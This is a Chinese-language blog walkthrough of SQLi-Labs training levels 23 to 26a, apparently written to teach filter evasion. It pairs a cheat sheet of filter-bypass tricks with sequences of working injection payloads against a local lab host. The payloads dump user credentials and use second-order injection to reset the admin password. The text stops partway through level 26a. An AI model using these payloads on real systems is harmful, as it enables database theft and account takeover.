AD.WN

SqliLab_Mysql_Injection详解_字符型注入(九)_过滤绕过_二次注入（23~28a）

文章目录

1. SqliLab_Mysql_Injection详解_字符型注入（九)

1.1. SQL注入_过滤绕过
1.2. 绕过姿势

1.2.1. 开启GPC**后一些绕过姿势：
1.2.2. 字符编码问题导致绕过：
1.2.3. 编码解码导致的绕过：
1.2.4. 一些特殊情况导致的绕过：

1.3. 特殊绕过：

1.3.1. 绕过空格过滤：
1.3.2. 绕过union,select,where等关键字过滤：
1.3.3. 绕过and、or、xor、not 过滤：
1.3.4. 绕过小括号被过滤:
1.3.5. 引号绕过：
1.3.6. 绕过逗号过滤：
1.3.7. union select 1,2 等同于：union select * from (select 1)a join (select 2)b
1.3.8. select ascii(mid(user(),1,1))=80 ;等同于：select user() like 'r%';
1.3.9. select * from news limit 0,1;等同于：select * from news limit 1 offset 0;
1.3.10. 比较符号（<>）绕过（过滤了<>：sqlmap盲注经常使用<>，使用between的脚本）（between a and b：返回a，b之间的数据，不包含b）：
1.3.11. '='绕过：
1.3.12. 等价函数绕过：

2. SqliLab关卡包含（23,24,25,25a,26,26a,27,27a,28,28a）（图片占据空间太大，payload具体返回情况均写在每条payload下的注释中）

2.1. SqliLab-23（--，#，过滤绕过（单引号闭合））：

2.1.1. 初始界面
2.1.2. 判断注入点（关键步骤）
2.1.3. 猜解字段
2.1.4. 收集信息
2.1.5. 查询当前数据库中存在的表
2.1.6. 查询’users‘表的字段
2.1.7. 查询’users‘表的字段值

2.2. SqliLab-24（二次注入）

2.2.1. 二次注入原理
2.2.2. 注入思路
2.2.3. 初始界面
2.2.4. 判断注入点（关键步骤）

2.3. SqliLab-25（and，or，过滤绕过（单引号闭合））

2.3.1. 初始页面
2.3.2. 判断注入点（关键步骤）
2.3.3. 搜集数据库信息
2.3.4. 查询当前使用的数据库
2.3.5. 查询当前数据库‘security’存在的表
2.3.6. 查询‘users’表的字段
2.3.7. 查询‘users’表的字段值信息

2.4. SqliLab-25a（and，or，过滤绕过（无闭合字符））

2.4.1. 初始页面
2.4.2. 判断注入点（关键步骤）

2.5. SqliLab-26（and，or，--，#，/*，/，空格，过滤绕过（单引号闭合））

2.5.1. 初始页面
2.5.2. 判断注入点（关键步骤）

2.6. SqliLab-26a（and，or，--，#，/*，/，空格，过滤绕过（')闭合））

2.6.1. 初始页面
2.6.2. 判断注入点（关键步骤）

2.7. SqliLab-27（union，select，--，#，/*，/，空格，过滤绕过（单引号闭合））

2.7.1. 初始页面
2.7.2. 判断注入点（关键步骤）
2.7.3. 使用UNION联合查询获取数据库信息
2.7.4. 使用报错注入获取数据库信息

2.8. SqliLab-27a（union，select，--，#，/*，/，空格，过滤绕过（双引号闭合））

2.8.1. 初始页面
2.8.2. 判断注入点（关键步骤）
2.8.3. 使用UNION联合查询获取数据库信息

2.9. SqliLab-28（（union select），--，#，/*，/，空格，过滤绕过（')闭合））

2.9.1. 初始页面
2.9.2. 判断注入点（关键步骤）
2.9.3. 使用UNION联合查询获取数据库信息

2.10. SqliLab-28a（（union select），过滤绕过（')闭合））

2.10.1. 初始页面
2.10.2. 判断注入点（关键步骤）
2.10.3. 使用UNION联合查询获取数据库信息

3. 总结

1. SqliLab_Mysql_Injection详解_字符型注入（九)

1.1. SQL注入_过滤绕过

1.2. 绕过姿势

1.2.1. 开启GPC**后一些绕过姿势：

单引号被转义：

1.2.2. 字符编码问题导致绕过：

设置数据库字符为gbk导致宽字节注入 //%df和%5c（\）；
使用icon和mb_convert_encoding转码函数导致宽字节注入；

1.2.3. 编码解码导致的绕过：

url解码导致绕过addslashes()；
base64解码导致绕过addslashes()；
json编码导致绕过addslashes()//json编码会把\转换为\\；

1.2.4. 一些特殊情况导致的绕过：

没有使用引号保护字符串，直接无视addslashes()；
使用了stripslashes() //删除由 addslashes() 函数添加的反斜杠；
字符替换导致的绕过addslashes() //先用addslashes()转义，再用str_replace替换反斜杠（/）；
防御方式：统一数据库、Web应用、操作系统所使用的字符集，避免解析产生差异，最好都设置为UTF-8；对数据进行正确的转义，如mysql_real_escape_string+mysql_set_charse的使用

1.3. 特殊绕过：

1.3.1. 绕过空格过滤：

+，/**/，双重空格，回车换行符(%0a,%a0)，宽字节(%df)，圆括号()，%09，%0a,%0b,%0c,%0d等；

1.3.2. 绕过union,select,where等关键字过滤：

大小写，双写关键字(uniounionn,unionunion)，内联注释/*!union*/内联注释，编码；

1.3.3. 绕过and、or、xor、not 过滤：

&&，||，%26%26，|，！，大小写，双写关键字(anandd,andand)，编码；

1.3.4. 绕过小括号被过滤:

使用正则匹配
EG:
regexp binary ‘^.*$’;
或者使用笛卡儿积
EG:
union select b.column_name from information_schema.tables a join information_schema.columns b join information_schema.columns c where 1=2;

1.3.5. 引号绕过：

（将引号中的值转换为十六进制）
EG:
select column_name from information_schema.tables where table_name=0x7573657273;

1.3.6. 绕过逗号过滤：

EG:
‘xor(select case when 2>1 then sleep(4) else 0 end limit 0 offset 1)or’
在使用盲注的时候，需要使用到mid(),substr(),limit函数。这些函数都需要使用到逗号。对于mid()和substr()函数可以使用from to的方式来替换：
EG:
select mid(database() from 1 for 1)；
select substr(database() from 1 for 1)；

1.3.7. union select 1,2 等同于：union select * from (select 1)a join (select 2)b

1.3.8. select ascii(mid(user(),1,1))=80 ;等同于：select user() like ‘r%’;

1.3.9. select * from news limit 0,1;等同于：select * from news limit 1 offset 0;

1.3.10. 比较符号（<>）绕过（过滤了<>：sqlmap盲注经常使用<>，使用between的脚本）（between a and b：返回a，b之间的数据，不包含b）：

EG:
select * from users where id=1 andascii(substr(database(),0,1))>64；等同于：select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64；

1.3.11. '='绕过：

使用like 、rlike 、regexp 或者’<‘或者’>;

1.3.12. 等价函数绕过：

EG:

hex()、bin() --> ascii()
sleep() --> benchmark()
concat_ws() --> group_concat()
mid()、substr() --> substring()
@@user --> user()
@@datadir --> datadir()
substring()和substr()无法使用时: id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),
1,1)))=74
或者：
substr((select ‘password’),1,1) = 0x70
strcmp(left(‘password’,1), 0x69) = 1
strcmp(left(‘password’,1), 0x70) = 0
strcmp(left(‘password’,49 1), 0x71) = -1

2. SqliLab关卡包含（23,24,25,25a,26,26a,27,27a,28,28a）（图片占据空间太大，payload具体返回情况均写在每条payload下的注释中）

2.1. SqliLab-23（–，#，过滤绕过（单引号闭合））：

2.1.1. 初始界面

2.1.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），尝试对其进行注入点判断（一般闭合字符是从单引号，双引号开始）；
EG：

http://192.168.1.104/sql/Less-23/?id=1' and 1=1 --+
//服务器返回页面错误（预期正确），并有非SQL语句错误的报错提示，判断可能存在过滤，首先考虑是否是（--）被过滤，尝试用（#）替换构造；
http://192.168.1.104/sql/Less-23/?id=1' and 1=1 #
//服务器返回页面错误（预期正确），并有非SQL语句错误的报错提示，判断可能存在过滤，考虑是否是（#）被过滤，尝试用（and '1'='1闭合语句）替换构造；
http://192.168.1.104/sql/Less-23/?id=1' and 1=1 and '1'='1
//服务器返回页面正确（预期正确），尝试使用（and 1=2）进行构造；
http://192.168.1.104/sql/Less-23/?id=1' and 1=2 and '1'='1
//服务器返回页面错误（预期错误），判断参数（id）存在注入，闭合字符为（'）,并存在对（#，--）的过滤；

经过对注入点判断后，得知参数（id）存在注入，闭合字符为（’）,并存在对（#，–）的过滤，且由于在服务器返回的界面，可以查看到回显信息和存在SQL语句报错提示，可以尝试使用UNION联合查询和报错注入的方式获取数据库信息（这里使用UNION查询的方式）；

2.1.3. 猜解字段

使用order by 构造链接；
EG：

http://192.168.1.104/sql/Less-23/?id=1'  order by 1,2,3,4,5 and '1'='1 
//服务器页面返回错误，查询到字段数为（3）；

查询到字段数为（4）；

2.1.4. 收集信息

由于在服务器返回的界面，可以查看到回显信息，所以先使正确的查询语句查询失败，再使用union select，version(),database()函数构造语句，使服务器返回的界面显示要收集的信息（还有诸多收集信息的函数，这里就不在赘述）；
EG：

http://192.168.1.104/sql/Less-23/?id=1' and 1=2 union select 1,database(),2 and '1'='1
//服务器页面返回错误,报错提示显示出当前使用的数据库名为（security）；
...

2.1.5. 查询当前数据库中存在的表

使用union select，group_concat()函数来构造语句;
EG：

http://192.168.1.104/sql/Less-23/?id=1' and 1=2 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema=database() and '1'='1
//查询到‘database()’数据库存在的表有（emails,referers,uagents,users）；

2.1.6. 查询’users‘表的字段

使用union select，group_concat()函数来构造语句；
EG：

http://192.168.1.104/sql/Less-23/?id=1' and 1=2 union select 1,2,group_concat(column_name)from information_schema.columns where table_name='users' and '1'='1
//查询到’users‘表的字段为(id,username,password)；

2.1.7. 查询’users‘表的字段值

使用union select，group_concat()函数来构造语句；
EG：

http://192.168.1.104/sql/Less-23/?id=1' and 1=2 union select 1,2,group_concat('%7c',username,'%7c',password,'%7c') from users where id=2 and '1'='1
//查询表‘users’中的字段值信息（要使用where限制查询的条件（mysql_fetch_array() 函数只能是一对一条件进行比较，不能进行一对多进行比较），如果直接查询所有会出现报错提示，但是如果直接使用报错注入的方式就不会出现这种情况）；

到此，SQL注入基础流程差不多就结束了，所需要的信息（数据库信息，表字段值等）差不多都已经搜集到了，SqliLab-23结束；

2.2. SqliLab-24（二次注入）

2.2.1. 二次注入原理

二次注入是存储型注入，是将可以导致SQL注入的字符串先存入数据库中，当再次调用这个恶意构造的字符时，触发SQL注入；

2.2.2. 注入思路

通过构造数据的形式，在浏览器或其他软件中提交HTTP数据报文请求到服务端进行处理，提交的数据报文请求中可能包含构造的恶意SQL语句或命令；
服务端将提交的请求信息进行存储，通常是保存在数据库中；
向服务端发送第二个与第一个不相同的请求数据信息；
服务端在接收到请求的信息后，为了处理该请求，调用存储的包含了构造的恶意信息的数据，从而触发SQL注入漏洞；

2.2.3. 初始界面

2.2.4. 判断注入点（关键步骤）

观察发现是POST型数据传送，且通过浏览器的开发者调试查看页面标签元素，发现POST传送参数为login_user和login_password），尝试对两个参数进行注入点判断（一般闭合字符是从单引号，双引号开始）；
EG：

login_user=a' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（'）代替（）进行构造；
login_user=a' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（"）代替（'）进行构造；
login_user=a" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（)）代替（"）进行构造；
login_user=a) or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（]）代替（)）进行构造；
login_user=a] or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（}）代替（]）进行构造；
login_user=a} or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（''）代替（}）进行构造；
login_user=a'' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（'"）代替（''）进行构造；
login_user=a'" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（')）代替（'"）进行构造；
login_user=a') or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（']）代替（')）进行构造；
login_user=a'] or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（'}）代替（')）进行构造；
login_user=a'} or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（"'）代替（'}）进行构造；
login_user=a"' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（""）代替（"'）进行构造；
login_user=a"" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（")）代替（""）进行构造；
login_user=a") or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（")）代替（""）进行构造；
login_user=a") or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（"]）代替（")）进行构造；
login_user=a"] or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（"}）代替（"]）进行构造；
login_user=a"} or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（)'）代替（"}）进行构造；
login_user=a)' or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（)"）代替（)'）进行构造；
login_user=a)" or 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（))）代替（)"）进行构造；
login_user=a)) or 1=1 %23&login_password=1&mysubmit=Login
...
//发现无论构造怎样的闭合字符的payload，服务器返回页面都不发生改变，尝试用admin进行测试，是否存在盲注；
login_user=admin and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（'）代替（）进行构造；
login_user=admin' and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（"）代替（'）进行构造；
login_user=admin" and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（)）代替（"）进行构造；
login_user=admin) and i1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（''）代替（)）进行构造；
login_user=admin'' and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（'"）代替（''）进行构造；
login_user=admin'" and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（')）代替（'"）进行构造；
login_user=admin') and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（"'）代替（')）进行构造；
login_user=admin"' and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（""）代替（"'）进行构造；
login_user=admin"" and 1=1 %23&login_password=1&mysubmit=Login
//服务器返回页面错误（预期正确），尝试用（")）代替（""）进行构造；
login_user=admin") and 1=1 %23&login_password=1&mysubmit=Login
...
//经过尝试发现（宽字节绕过，特殊字符过滤绕过等），参数（login_user）不存在注入,尝试对参数（login_password）进行测试；
login_user=admin&login_password='&mysubmit=Login
//服务器返回页面错误，尝试（"）代替（'）进行构造；
login_user=admin&login_password="&mysubmit=Login
//服务器返回页面错误，尝试（)）代替（"）进行构造；
login_user=admin&login_password=)&mysubmit=Login
//服务器返回页面错误，尝试（}）代替（)）进行构造；
login_user=admin&login_password=}&mysubmit=Login
//服务器返回页面错误，尝试（]）代替（}）进行构造；
login_user=admin&login_password=]&mysubmit=Login
//服务器返回页面错误，尝试（''）代替（]）进行构造；
login_user=admin&login_password=''&mysubmit=Login
//服务器返回页面错误，尝试（'"）代替（''）进行构造；
...
//发现无论构造怎样的闭合字符的payload，服务器返回页面都不发生改变（登录失败），考虑是否存在HTTP头注入，使用正确的login_user和login_password进行尝试(admin为假想已知测试用户)
//服务器返回页面发现，只有一个更改密码和下线的选项，尝试初始页面的创建新用户选项；

考虑通过创建新用户要执行的SQL语句（insert into table（name,passwd）values(‘name’,‘passwd’)）,将注入语句（报错）放入注册的（uname）中，等创建该用户成功后（含有payload的login_user已经存储在数据库中），然后再登录该用户，然后再通过登录用户时，后台会执行查询SQL语句（select login_user and passwd from table where login_user= ’ ’ and passwd = ’ '）,进而执行payload;
EG：

username=test' and updatexml(1,concat(0x7c,database(),0x7c),1) and '1'='1&password=123&re_password=123&submit=Register
//服务器返回页面正确，创建用户成功；
login_user=test' and updatexml(1,concat(0x7c,database(),0x7c),1) and '1'='1&login_password=123&mysubmit=Login
//服务器返回页面错误，登录失败，再次尝试创建用户（'updatexml(1,concat(0x23,database()),1) and '1'='1）；
username='updatexml(1,concat(0x23,database()),1) and '1'='1&password=123&re_password=123&submit=Register
//服务器返回页面正确，创建用户成功；
login_user=test' and updatexml(1,concat(0x7c,database(),0x7c),1) and '1'='1&login_password=123&mysubmit=Login
//服务器返回页面错误，登录失败，再次尝试创建用户的密码为（'updatexml(1,concat(0x23,database()),1) and '1'='1）；
username=test&password=123&re_password='updatexml(1,concat(0x23,database()),1) and '1'='1&submit=Register
//服务器返回页面正确，创建用户成功；
login_user=test&login_password='updatexml(1,concat(0x23,database()),1) and '1'='1&mysubmit=Login
//服务器返回页面错误，登录失败,考虑后台可能限制了新建的用户的用户名和密码的长度，在实际数据库中查看，果然发现，后台对新建用户时对用户输入的用户名和密码进行了字符长度的限制；

经过测试，发现，后台对新建用户的输入的用户名和密码进行了限制，考虑使用字符闭合截断法，直接注册与管理员（假想账户名为admin）相似的用户（admin’#），并更改该新建用户的密码(123)，使后台在执行SQL语句（update table set password=‘123’ where login_user=‘admin’#）,从而达到修改管理员账户的密码的目的。
EG：

username=admin'#&password=123&re_password=123&submit=Register
//服务器返回页面正确，创建用户成功；
login_user=admin%27%23&login_password=123&mysubmit=Login
//服务器返回页面正确，登录成功，尝试修改新建用户（admin'#）的密码为（123）,由于SQL语句执行时admin'#后面被注释掉，原有admin的密码可以随便输入,只要更改的密码知道就行了；
current_password=test&password=123&re_password=123&submit=Reset
//服务器返回页面正确，更改密码成功，查看使用管理员用户（admin）和更改的密码（123）登录；
login_user=admin&login_password=123&mysubmit=Login
//服务器返回页面正确，成功登录管理员账户；

虽然上面这种方式无法注入足够长的SQL语句，但是直接修改管理员的密码（知道管理员的账户，且后天对新建用户时用户输入的特殊字符没有过滤），一步到位，而且这种注入也是sqlmap探测不出来的，因为sqlmap在注册时的username也是通过插入SQL语句测试，当数据库限定了注册的用户名的长度，就会造成插入的语句不完整，因此sqlmap会判定不存在SQL注入，所以需要手工去探测，至此，SqliLab-24结束；

2.3. SqliLab-25（and，or，过滤绕过（单引号闭合））

2.3.1. 初始页面

2.3.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），并发现，初始页面显示，可能（or和and）都不能使用，但是判断注入点时可以去尝试一下；
EG：

http://192.168.1.104/sql/Less-25/?id=1' and 1=1 --+
//服务器返回页面错误（预期正确），且发现有SQL语句报错提示（'1=1-- ' LIMIT 0,1'）说明参数（id）的闭合字符是（'）,但是返回了错误，则（and）可能被过滤了,尝试使用双写（anandd）绕过;
http://192.168.1.104/sql/Less-25/?id=1' anandd 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-25/?id=1' anandd 1=2 --+
//服务器返回页面错误（预期错误），判断参数（id）存在注入，闭合字符为（'），过滤了（and）;尝试是否过滤（or）;
http://192.168.1.104/sql/Less-25/?id=1' or 1=2 --+
//服务器返回页面错误（预期正确），则（or）可能被过滤了，尝试使用双写（oorr）绕过；
http://192.168.1.104/sql/Less-25/?id=1' oorr 1=2 --+
//服务器返回页面正确（预期正确），尝试使用（-1' or 1=2）构造；
http://192.168.1.104/sql/Less-25/?id=-1' oorr 1=2 --+
//服务器返回页面错误（预期错误），判断过滤了（or）;

经过对参数（id）的注入点测试，发现存在注入点，闭合字符为（’），同时过滤了（and）,(or)，这里采用双写的方式绕过（anand,oorr），同时服务器页面存在回显和报错提示，可以使用UNION联合查询和报错注入的方式获取信息（这里采用报错注入的方式获取数据库信息（sqliLab-23采用的UNION查询法）；

2.3.3. 搜集数据库信息

EG：
使用updatexml()函数/extractvalue()函数/使用floor()函数和concat()函数构造payload；

http://192.168.1.104/sql/Less-25/?id=1' anandd updatexml(1,concat(0x7c,database(),0x7c,version(),0x7c),1) --+
//服务器返回页面错误，但查看到页面显示了当前数据库名为（security），数据库版本为（5.5.53）；
...

2.3.4. 查询当前使用的数据库

EG：
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload；

http://192.168.1.104/sql/Less-25/?id=1' anandd updatexml(1,mid(concat(0x7c,(select group_concat(schema_name) from infoorrmation_schema.schemata),0x7c),1,32),1)  --+
//服务器返回页面错误，但查看到报错信息显示了当前使用mysql中使用的数据库有哪些数据库，mid()函数来截取返回的较长字符串；
...

2.3.5. 查询当前数据库‘security’存在的表

EG：
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数构造payload；

http://192.168.1.104/sql/Less-25/?id=1' anandd updatexml(1,concat(0x7c,(select group_concat(table_name) from infoorrmation_schema.tables where table_schema=database()),0x7c),1) --+
//服务器返回页面错误，但查看到报错信息显示了当前使用数据库中存在的表有（emails,referers,uagents,users）;

2.3.6. 查询‘users’表的字段

EG：
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload；

http://192.168.1.104/sql/Less-25/?id=1' anandd updatexml(1,concat(0x7c,(select group_concat(column_name) from infoorrmation_schema.columns where table_name='users'),0x7c),1)  --+
//服务器返回页面错误，但查看到报错信息显示了‘users’表的字段为（id,username,password）

2.3.7. 查询‘users’表的字段值信息

EG：
使用updatexml()函数/extractvalue()函数/使用floor()函数,group_concat()函数/concat()函数和mid()函数/limit限制构造payload；

http://192.168.1.104/sql/Less-25/?id=1' anandd updatexml(1,mid(concat(0x7c,(select group_concat(id,0x7c,username,0x7c,passwoorrd,0x7c) from users),0x7e),1,32),1) --+
//服务器返回页面错误，但查看到报错信息显示了‘users’表的字段值信息为（|1|Dumb|Dumb|,2|Angelina|I-kill-。。。）;

查询其他的值也是同上面的方法一致；到此，SQL注入（报错注入）基础流程差不多就结束了，所需要的信息（数据库信息，表字段值等）差不多都已经搜集到了，SqliLab-25结束；

2.4. SqliLab-25a（and，or，过滤绕过（无闭合字符））

2.4.1. 初始页面

2.4.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），并发现，初始页面显示，可能（or和and）都不能使用，但是判断注入点时可以去尝试一下；
EG：

http://192.168.1.104/sql/Less-25a/?id=1 and 1=1 --+
//服务器返回页面错误（预期正确），尝试使用anandd构造；
http://192.168.1.104/sql/Less-25a/?id=1 anandd 1=1 --+
//服务器返回页面正确（预期正确），尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-25a/?id=1 anandd 1=2 --+
//服务器返回页面错误（预期错误），判断参数（id）存在注入，闭合字符为（），过滤了（and）;尝试是否过滤（or）;
http://192.168.1.104/sql/Less-25a/?id=1 or 1=2 --+
//服务器返回页面错误（预期正确），则（or）可能被过滤了，尝试使用双写（oorr）绕过；
http://192.168.1.104/sql/Less-25a/?id=1 oorr 1=2 --+
//服务器返回页面正确（预期正确），尝试使用（-1' or 1=2）构造；
http://192.168.1.104/sql/Less-25a/?id=-1 oorr 1=2 --+
//服务器返回页面错误（预期错误），判断过滤了（or）；

判断是否存在SQL语句报错提示
EG：

http://192.168.1.104/sql/Less-25a/?id=1' anandd 1=1 --+
//服务器返回页面无报错提示，尝试（"）代替（'）构造；
http://192.168.1.104/sql/Less-25a/?id=1' anandd 1=1 --+
//服务器返回页面无报错提示，尝试（)）代替（"）构造；
http://192.168.1.104/sql/Less-25a/?id=1) anandd 1=1 --+
//服务器返回页面无报错提示，尝试（@$%^）代替（)）构造；
http://192.168.1.104/sql/Less-25a/?id=1@$%^ anandd 1=1 --+
//服务器返回页面无报错提示，尝试（&&!）代替（@$%^）构造；
...
//经过尝试发现，服务器返回页面不存在报错提示；

经过对参数（id）的注入点测试，发现存在注入点，闭合字符为（），同时过滤了（and）,(or)，这里采用双写的方式绕过（anand,oorr），同时服务器页面存在回显，可以使用UNION联合查询的方式获取信息，具体流程同sqliLab-23采用的UNION查询法一样，SqliLab-25a结束；

2.5. SqliLab-26（and，or，–，#，/*，/，空格，过滤绕过（单引号闭合））

2.5.1. 初始页面

2.5.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），并发现，初始页面显示，可能（空格和注释）都不能使用，但是判断注入点时可以去尝试一下；
EG：

http://192.168.1.104/sql/Less-26/?id=1 and 1=1 --+
//服务器返回页面正确（预期正确），但是同时发现页面显示了输入的的结果为（11=1），即输入的空格和and以及（--）“消失”了，尝试使用anandd构造；
http://192.168.1.104/sql/Less-26/?id=1 anandd 1=1 --+
//服务器返回页面正确（预期正确），输入的and出现,判断（and）被过滤，判断（or）是否被过滤；
http://192.168.1.104/sql/Less-26/?id=1 or 1=2 --+
//服务器返回页面正确（预期正确），但是同时发现页面显示了输入的的结果为（11=2）,即输入的空格和or以及（--）“消失”了，尝试使用oorr构造；
http://192.168.1.104/sql/Less-26/?id=1 oorr 1=2 --+
//服务器返回页面正确（预期正确），输入的or出现,判断（or）被过滤，但是注释符消失，尝试（#，%23,/*）；
http://192.168.1.104/sql/Less-26/?id=1 anandd 1=1 #
//服务器返回页面正确（预期正确），但输入的注释符没有出现；
http://192.168.1.104/sql/Less-26/?id=1 anandd 1=1 %23
//服务器返回页面正确（预期正确），但输入的注释符没有出现；
http://192.168.1.104/sql/Less-26/?id=1 anandd 1=1 /*
//服务器返回页面正确（预期正确），但输入的注释符没有出现，尝试使用and 1=1闭合；
http://192.168.1.104/sql/Less-26/?id=1 anandd 1=1 anandd 1=1 
//服务器返回页面正确（预期正确），输入的注释符出现；但是空格消失，尝试（+）；
http://192.168.1.104/sql/Less-26/?id=1+anandd+1=1+anandd+1=1 
//服务器返回页面正确（预期正确），但输入的空格没有出现，尝试使用（/\*\*/）；
http://192.168.1.104/sql/Less-26/?id=1/\*\*/anandd/\*\*/1=1/\*\*/anandd/\*\*/1=1
//服务器返回页面正确（预期正确），但输入的空格没有出现，尝试使用（%09）；
http://192.168.1.104/sql/Less-26/?id=1%09anandd%091=1%09anandd%091=1 
//服务器返回页面正确（预期正确），但输入的空格没有出现，尝试使用（%0a）；
http://192.168.1.104/sql/Less-26/?id=1%0aanandd%0a1=1%0aanandd%0a1=1 
//服务器返回页面正确（预期正确），但输入的空格没有出现，尝试使用（%0b）；
http://192.168.1.104/sql/Less-26/?id=1%0banandd%0b1=1%0banandd%0b1=1 
//服务器返回页面正确（预期正确），但输入的空格没有出现，尝试使用（%0c）；
http://192.168.1.104/sql/Less-26/?id=1%0canandd%0c1=1%0canandd%0c1=1 
//服务器返回页面正确（预期正确），但输入的空格没有出现，尝试使用（%0d）；
http://192.168.1.104/sql/Less-26/?id=1%0danandd%0d1=1%0danandd%0d1=1 
//服务器返回页面正确（预期正确），但输入的空格没有出现，尝试使用（%df）；
http://192.168.1.104/sql/Less-26/?id=1%dfanandd%df1=1%dfanandd%df1=1 
//服务器返回页面正确（预期正确），但输入的空格没有出现，尝试使用（%a0）；
http://192.168.1.104/sql/Less-26/?id=1%a0anandd%a01=1%a0anandd%a01=1 
//服务器返回页面正确（预期正确），输入的空格出现,尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-26/?id=1%a0anandd%a01=2%a0anandd%a01=1 
//服务器返回页面正确（预期错误），尝试使用（'）代替（）进行构造；
http://192.168.1.104/sql/Less-26/?id=1'%a0anandd%a01=1%a0anandd%a0'1'='1 
//服务器返回页面正确（预期正确），尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-26/?id=1'%a0anandd%a01=2%a0anandd%a0'1'='1 
//服务器返回页面错误（预期错误），判断参数（id）存在注入，闭合字符为（'）,且后台过滤了（and,or,--,#,/*,/,空格）；
//也可以尝试使用圆括号绕过空格过滤；
http://192.168.1.104/sql/Less-26/?id=1'anandd(1=1)anandd'1'='1
//服务器返回页面正确（预期正确），尝试使用（1=2）构造；
http://192.168.1.104/sql/Less-26/?id=1'anandd(1=2)anandd'1'='1
//服务器返回页面错误（预期错误），判断参数（id）存在注入，闭合字符为（'）；

EG：
判断是否存在SQL语句报错提示

http://192.168.1.104/sql/Less-26/?id=1'"'%a0anandd%a01=1%a0anandd%a0'1'='1
//服务器返回页面错误（预期错误），且存在报错提示；

通过对参数（id）进行测试，判断出该参数存在注入，闭合字符为（’），且后台过滤了（and,or,–,#,/*,/,空格），可以分别用（anandd，oorr，and’1’=1，%a0/圆括号）进行替换绕过过滤，同时服务器返回页面存在回显和报错提示，可以使用UNION联合查询和报错注入的方式来获取数据库信息，采用UNION联合查询的方法的具体流程同sqliLab-23采用的UNION查询法一样，采用报错注入的方法的具体流程同SqliLab-25采用的报错注入的方法一样，至此，SqliLab-26结束；

2.6. SqliLab-26a（and，or，–，#，/*，/，空格，过滤绕过（’)闭合））

2.6.1. 初始页面

2.6.2. 判断注入点（关键步骤）

观察发现是GET型数据传送，参数为（id），并发现，初始页面显示，可能（or和and）都不能使用，同时发现可能同SqliLab-26类似，对（and,or,–,#,/*,/,空格）进行了过滤，注入点的闭合字符可能有所不同，但是判断注入点时可以去测试一下；
判断是否存在后台对特殊字符进行了过滤
EG：

http://192.168.1.104/sql/Less-26a/?id=1 and 1=1 --+
//服务器返回页面正确，同时发现空格和（and）以及（--）都被过滤了，按照SqliLab-26的经验尝试使用（%a0），(anandd)，（anandd%a01=1）进行替换构造；
http://192.168.1.104/sql/Less-26a/?id=1%a0anandd%a01=1%a0anand%a01=1--+
//服务器返回页面正确，发现被过滤的字符都出现了，再对（or），（#）等进行尝试；
http://192.168.1.104/sql/Less-26a/?id=1%a0or%a01=2%a0#
//服务器返回页面正确，同时发现（or）和（#）都被过滤了，按照SqliLab-26的经验尝试使用（oorr），（anandd%a01=1）进行替换构造；
http://192.168.1.104/sql/Less-26a/?id=1%a0oorr%a01=2%a0anandd%a01=1
//服务器返回页面正确，发现被过滤的字符都出现了，再对（/*），（/）进行尝试；
...

由于后台对（and,or,–,#,/*,/,空格）进行了过滤，使用能绕过的字符进行替换，然后再构造payload判断参数（id）是否存在注入；
EG：

http://192.168.1.104/sql/Less-26a/?id=1%a0anandd%a01=1%a0anandd%a01=1
//服务器返回页面正确（预期正确），尝试（1=2）进行构造；
http://192.168.1.104/sql/Less-26a/?id=1%a0anandd%a01=2%a0anandd%a01=1
//服务器返回页面正确（预期错误），尝试使用（'）代替（）进行构造；
